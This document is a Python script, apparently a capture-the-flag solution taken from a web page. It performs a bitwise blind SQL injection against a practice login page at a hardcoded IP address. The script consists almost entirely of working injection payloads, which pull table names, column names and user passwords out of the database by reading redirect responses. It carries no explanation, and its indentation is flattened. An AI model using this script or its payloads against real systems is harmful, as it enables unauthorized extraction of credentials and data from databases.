1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
|
import requests import urllib url="http://111.230.11.183:44444/basic_skills/sql/sql3.php" table_payload="a' or 1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {0},1),{1},1))&{2} -- " column_payload="a' or 1 and ascii(substr((select column_name from information_schema.columns where table_name='user' limit {0},1),{1},1))&{2} -- +" flag_payload= "a' or 1 and ascii(substr((select password from user limit {0},1),{1},1))&{2} -- "
headers={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://111.230.11.183:44444", "Connection": "close", "Referer": "http://111.230.11.183:44444/basic_skills/sql/sql3.php", "Upgrade-Insecure-Requests": "1" }
def get_information(): all_name="result:" for i in range(15): name="" for j in range(1,33): value=0 for k in range(7): payload=flag_payload.format(i,j,(2**k)) data={ "username": payload, "password":"sdf" } rep=requests.post(url=url,headers=headers,data=data,allow_redirects=False) if rep.status_code==302: value=value+(2**k) if value==0: if name=="": print all_name return 1 all_name=all_name+" "+name break name=name+chr(value) print name
if __name__=="__main__": get_information()
|
评论